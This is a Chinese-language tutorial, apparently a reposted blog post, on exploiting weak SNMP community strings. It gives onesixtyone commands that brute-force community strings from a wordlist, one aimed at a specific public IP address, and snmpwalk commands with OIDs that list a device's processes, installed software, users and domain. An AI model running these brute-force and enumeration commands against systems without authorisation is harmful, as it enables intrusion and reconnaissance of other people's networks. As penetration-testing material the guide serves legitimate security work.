SNMP弱口令漏洞的使用

如果能获取只读(RO)或读/写(RW)权限的团体字符串,将对你从设备中提取信息发挥重要作用,
snmp v1 v2天生存在安全缺陷,snmp v3中添加了加密功能提供了更好的检查机制,增强了安全性为了获取管理一台交换机的权限,首先你需要找到它的SNMP团体字符串。

SNMP扫描
-信息的金矿
-经常被错误配置
-public /private /manager

工具介绍

1.onesixtyone

如果你已经知道目标的团体字符串为public ,可以使用下面这条命令,可以看到目标系统的信息

onesixtyone ip public 

如果你不知道目标团体字符串

onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 58.215.76.23 -o my.log -w 100

显示对方团体字符串为 public

扫描二维码关注公众号,回复: 3001309 查看本文章

查看onesixtyone 目录

dpkg -L onesixtyone

 查看自带密码目录,你也可以使用自己的字典

 cat /usr/share/doc/onesixtyone/dict.txt

 

 2.snmpwalk命令则是测试系统各种信息最有效的方法,常用的方法如下:

1、snmpwalk -c public -v 1  ip .1.3.6.1.2.1.25.1 得到取得windows端的系统进程用户数等

2、snmpwalk -c public -v 1 ip .1.3.6.1.2.1.25.2.2 取得系统总内存

3、snmpwalk -c public -v 1  ip hrSystemNumUsers 取得系统用户数

4、snmpwalk -c public -v 1  ip .1.3.6.1.2.1.4.20 取得IP信息

5、snmpwalk -v 2c -c public ip .1.3.6.1.2.1.1 查看系统信息

其中-v是指版本,-c 是指密钥。

snmpwalk功能很多,可以获取系统各种信息,只要更改后面的信息类型即可。如果不知道什么类型,也可以不指定,这样所有系统信息都获取到:

snmpwalk -v 2c -c public 10.0.1.52

另外常用的

.1.3.6.1.4.1.77.1.4.1.0  列出域名
.1.3.6.1.2.1.25.6.3.1.2  列出安装的软件

.1.3.6.1.2.1.25.4.2.1.2  列出系统进程

给大家展示一下 snmpwalk -v 2c -c public ip .1.3.6.1.2.1.1 这条命令

猜你喜欢

转载自www.cnblogs.com/-wenli/p/9571057.html